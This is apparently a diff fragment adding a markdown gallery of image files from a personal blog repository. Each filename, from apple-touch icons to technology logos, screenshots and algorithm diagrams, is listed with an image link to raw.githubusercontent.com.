+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-144x144.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-144x144.png?raw=true)
+
+> apple-touch-icon-152x152.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-152x152.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-152x152.png?raw=true)
+
+> apple-touch-icon-180x180.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-180x180.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-180x180.png?raw=true)
+
+> apple-touch-icon-57x57.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-57x57.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-57x57.png?raw=true)
+
+> apple-touch-icon-57x58.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-57x58.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-57x58.png?raw=true)
+
+> apple-touch-icon-72x72.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-72x72.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-72x72.png?raw=true)
+
+> apple-touch-icon-76x76.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-76x76.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-76x76.png?raw=true)
+
+> apple-touch-icon-76x77.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-76x77.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-76x77.png?raw=true)
+
+> apple-touch-icon.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon.png?raw=true)
+
+> atom.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/atom.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/atom.png?raw=true)
+
+> aws-lambda.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/aws-lambda.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/aws-lambda.png?raw=true)
+
+> aws.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/aws.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/aws.png?raw=true)
+
+> azure.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/azure.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/azure.png?raw=true)
+
+> babel-light-logo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/babel-light-logo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/babel-light-logo.png?raw=true)
+
+> babel-logo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/babel-logo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/babel-logo.png?raw=true)
+
+> back.jpeg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/back.jpeg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/back.jpeg?raw=true)
+
+> background.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/background.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/background.gif?raw=true)
+
+> badge-comment_heart.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/badge-comment_heart.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/badge-comment_heart.png?raw=true)
+
+> bash-logo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bash-logo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bash-logo.png?raw=true)
+
+> bassist.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bassist.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bassist.gif?raw=true)
+
+> battle-station.1.jpeg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/battle-station.1.jpeg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/battle-station.1.jpeg?raw=true)
+
+> battle-station.jpeg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/battle-station.jpeg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/battle-station.jpeg?raw=true)
+
+> bg-logo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bg-logo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bg-logo.png?raw=true)
+
+> big-o-chart.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/big-o-chart.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/big-o-chart.png?raw=true)
+
+> bigo.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bigo.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bigo.jpg?raw=true)
+
+> bigo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bigo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bigo.png?raw=true)
+
+> binary-files.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/binary-files.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/binary-files.png?raw=true)
+
+> bitbucket.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bitbucket.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bitbucket.png?raw=true)
+
+> blog-form.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog-form.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog-form.png?raw=true)
+
+> blog-may-2022.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog-may-2022.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog-may-2022.png?raw=true)
+
+> blog-may-2023.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog-may-2023.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog-may-2023.png?raw=true)
+
+> blog-preview.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog-preview.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog-preview.png?raw=true)
+
+> blog-recent.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog-recent.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog-recent.png?raw=true)
+
+> blog-screenshot-jan.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog-screenshot-jan.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog-screenshot-jan.png?raw=true)
+
+> blog.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blog.jpg?raw=true)
+
+> blogspot.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blogspot.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blogspot.png?raw=true)
+
+> blue-plankton.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blue-plankton.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blue-plankton.png?raw=true)
+
+> blur-popover-close.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blur-popover-close.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/blur-popover-close.gif?raw=true)
+
+> bootstrap-plain-wordmark.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bootstrap-plain-wordmark.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bootstrap-plain-wordmark.png?raw=true)
+
+> brown-papersq.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/brown-papersq.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/brown-papersq.png?raw=true)
+
+> bullets-1.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bullets-1.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/bullets-1.png?raw=true)
+
+> call-stack-first-example.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/call-stack-first-example.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/call-stack-first-example.png?raw=true)
+
+> call-stack-second-example.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/call-stack-second-example.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/call-stack-second-example.png?raw=true)
+
+> call-stack-third-example.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/call-stack-third-example.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/call-stack-third-example.png?raw=true)
+
+> cdn-cors-header.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cdn-cors-header.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cdn-cors-header.png?raw=true)
+
+> checklist.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/checklist.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/checklist.png?raw=true)
+
+> chrome_E0QUXhDFv8.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/chrome_E0QUXhDFv8.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/chrome_E0QUXhDFv8.png?raw=true)
+
+> chrome_ajdk5oqXGC.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/chrome_ajdk5oqXGC.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/chrome_ajdk5oqXGC.png?raw=true)
+
+> chrome_nzhECqyCjh.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/chrome_nzhECqyCjh.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/chrome_nzhECqyCjh.png?raw=true)
+
+> circle-ci.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/circle-ci.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/circle-ci.jpg?raw=true)
+
+> circle-cropped.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/circle-cropped.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/circle-cropped.png?raw=true)
+
+> cm-steps-simple.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cm-steps-simple.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cm-steps-simple.png?raw=true)
+
+> code.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/code.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/code.png?raw=true)
+
+> code_mg4k5cd9s4.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/code_mg4k5cd9s4.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/code_mg4k5cd9s4.png?raw=true)
+
+> code_mg4k5cd9s5.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/code_mg4k5cd9s5.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/code_mg4k5cd9s5.png?raw=true)
+
+> codewinds-004.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/codewinds-004.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/codewinds-004.png?raw=true)
+
+> command-line-basics.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/command-line-basics.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/command-line-basics.png?raw=true)
+
+> confluence.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/confluence.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/confluence.jpg?raw=true)
+
+> confluence.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/confluence.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/confluence.png?raw=true)
+
+> console-log-browser-expanded.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/console-log-browser-expanded.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/console-log-browser-expanded.png?raw=true)
+
+> console-log-browser.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/console-log-browser.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/console-log-browser.png?raw=true)
+
+> contact.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/contact.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/contact.png?raw=true)
+
+> cool-background.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cool-background.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cool-background.png?raw=true)
+
+> cool-comet.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cool-comet.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cool-comet.png?raw=true)
+
+> cover-letter.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cover-letter.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cover-letter.png?raw=true)
+
+> cow-say.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cow-say.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cow-say.png?raw=true)
+
+> cplusplus.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cplusplus.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cplusplus.png?raw=true)
+
+> css.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/css.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/css.png?raw=true)
+
+> cube.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cube.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/cube.gif?raw=true)
+
+> curious-eggplant.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/curious-eggplant.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/curious-eggplant.jpg?raw=true)
+
+> data-struc2.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/data-struc2.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/data-struc2.gif?raw=true)
+
+> data-struc3.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/data-struc3.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/data-struc3.gif?raw=true)
+
+> daw.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/daw.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/daw.jpg?raw=true)
+
+> demo.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/demo.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/demo.gif?raw=true)
+
+> dense-js-code.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dense-js-code.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dense-js-code.jpg?raw=true)
+
+> devtools-dev.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/devtools-dev.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/devtools-dev.png?raw=true)
+
+> devtools-prod.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/devtools-prod.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/devtools-prod.png?raw=true)
+
+> digital-ocean.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/digital-ocean.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/digital-ocean.jpg?raw=true)
+
+> display.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/display.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/display.png?raw=true)
+
+> django.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/django.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/django.png?raw=true)
+
+> docker.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/docker.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/docker.png?raw=true)
+
+> docker2.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/docker2.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/docker2.png?raw=true)
+
+> docs.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/docs.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/docs.png?raw=true)
+
+> dom.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dom.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dom.png?raw=true)
+
+> drive.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/drive.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/drive.png?raw=true)
+
+> dropbox.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dropbox.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dropbox.jpg?raw=true)
+
+> ds-algo.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ds-algo.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ds-algo.gif?raw=true)
+
+> ds-algo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ds-algo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ds-algo.png?raw=true)
+
+> ds-whiteboard.1.webp
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ds-whiteboard.1.webp?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ds-whiteboard.1.webp?raw=true)
+
+> ds-whiteboard.webp
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ds-whiteboard.webp?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ds-whiteboard.webp?raw=true)
+
+> ds.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ds.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ds.png?raw=true)
+
+> dtw-algo.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dtw-algo.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dtw-algo.jpg?raw=true)
+
+> dtw-grid.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dtw-grid.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dtw-grid.png?raw=true)
+
+> dtw-slideshow.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dtw-slideshow.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dtw-slideshow.gif?raw=true)
+
+> dtw.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dtw.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dtw.gif?raw=true)
+
+> dtw.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dtw.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dtw.jpg?raw=true)
+
+> dtw.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dtw.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/dtw.png?raw=true)
+
+> e40e889a-00fa-4786-a498-8990185b3698.jpeg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/e40e889a-00fa-4786-a498-8990185b3698.jpeg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/e40e889a-00fa-4786-a498-8990185b3698.jpeg?raw=true)
+
+> eaf976e3-e635-43a6-a123-bece3ed69898.jpeg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/eaf976e3-e635-43a6-a123-bece3ed69898.jpeg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/eaf976e3-e635-43a6-a123-bece3ed69898.jpeg?raw=true)
+
+> elastic-cloud.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/elastic-cloud.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/elastic-cloud.png?raw=true)
+
+> embedded-media.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/embedded-media.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/embedded-media.png?raw=true)
+
+> embeds.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/embeds.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/embeds.jpg?raw=true)
+
+> embeds.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/embeds.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/embeds.png?raw=true)
+
+> ember-original-wordmark.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ember-original-wordmark.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ember-original-wordmark.png?raw=true)
+
+> equation.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/equation.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/equation.gif?raw=true)
+
+> error-boundaries-stack-trace-line-numbers.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/error-boundaries-stack-trace-line-numbers.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/error-boundaries-stack-trace-line-numbers.png?raw=true)
+
+> error-boundaries-stack-trace.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/error-boundaries-stack-trace.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/error-boundaries-stack-trace.png?raw=true)
+
+> es6.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/es6.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/es6.jpg?raw=true)
+
+> es6.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/es6.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/es6.png?raw=true)
+
+> eventloop.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/eventloop.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/eventloop.gif?raw=true)
+
+> exception-call-stack.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/exception-call-stack.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/exception-call-stack.png?raw=true)
+
+> execution-order-first-example.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/execution-order-first-example.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/execution-order-first-example.png?raw=true)
+
+> execution-order-second-example.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/execution-order-second-example.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/execution-order-second-example.png?raw=true)
+
+> express-original-wordmark.png
+
